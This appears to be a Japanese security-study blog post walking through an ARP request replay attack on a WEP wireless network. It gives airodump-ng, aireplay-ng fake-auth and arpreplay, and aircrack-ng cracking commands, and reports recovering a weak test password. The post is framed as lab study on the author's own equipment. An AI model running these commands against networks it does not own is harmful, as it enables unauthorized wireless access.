はじめに

KaliLinuxで利用しているwifiアダプタが利用できないので、別のノートパソコンにaircrack-ngパッケージをインストールして動作を検証しています。挙動や作業に大きな代わりはないです。
ちなみに、ノートパソコンのOSはOpensuse Leap15.3です。

注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。

ARP要求リプレイ攻撃

ARP要求を故意に繰り返したり、遅延させたりすることで、パケット(含むIV)を増加させる攻撃。

検証

無線LANアダプタのMACアドレスを変更する

この記事を参考にしてください。

無線LANアダプタをMonitorモードにする

この記事を参考にしてください。

airodump-ngを実行する

arp要求リプレイ攻撃用のフォルダを用意してから、airodump-ngコマンドを実行する。

mkdir arp_attack
cd arp _attack
sudo airodump-ng --channel 2 --bssid <ターゲットのbssid> --write arp-attack wlan0

aireplay-ngで偽の認証

新規に別の端末を立ち上げて、次のコマンドを実行する。

sudo aireplay-ng --fakeauth 0 -a <ターゲットのbssid> -h <送信元のMACアドレス> wlan0

aireplay-ngに--arpreplayオプションをつけてARPリクエストリプレイ攻撃

sudo aireplay-ng --arpreplay -b <ターゲットのbssid> -h <送信元のMACアドレス> wlan0
//または、
sudo aireplay-ng -3 -b <ターゲットのbssid> -h <送信元のMACアドレス> wlan0

-3オプションは、--arpreplayオプションの簡略表記。

あっという間にDataの値が増えていく。

wepキーを解析

さらに、新規に別の端末を立ち上げて、次のコマンドを実行する。

sudo aircrack-ng arp-attack-01.cap

無線LANのパスワードが"55555"だと判明した。

おわりに

WEPでの解析検証は一通り終わった。
パスワード"55555"だと、どのWEPへのハッキング手法でも、だいたい25000IVsぐらい集めれば解析できた。
おおよその流れとして、無線LANアダプタのモード変更やMACアドレスの固定化のあとに、

キャプチャ担当のairodump-ng
細工担当のaireplay-ng
解析担当のaircrack-ng

の３つが共同してパスワード解析をする。
細工担当のaireplay-ngのオプションの違いで、chopchop攻撃やARPリクエストリプライ攻撃といった攻撃方法の選択をする。

オプションの対応表はこうなる

冗長表記	簡略表記
--fakeauth	-1
--interactive	-2
--arpreplay	-3
--chopchop	-4

※他にもあり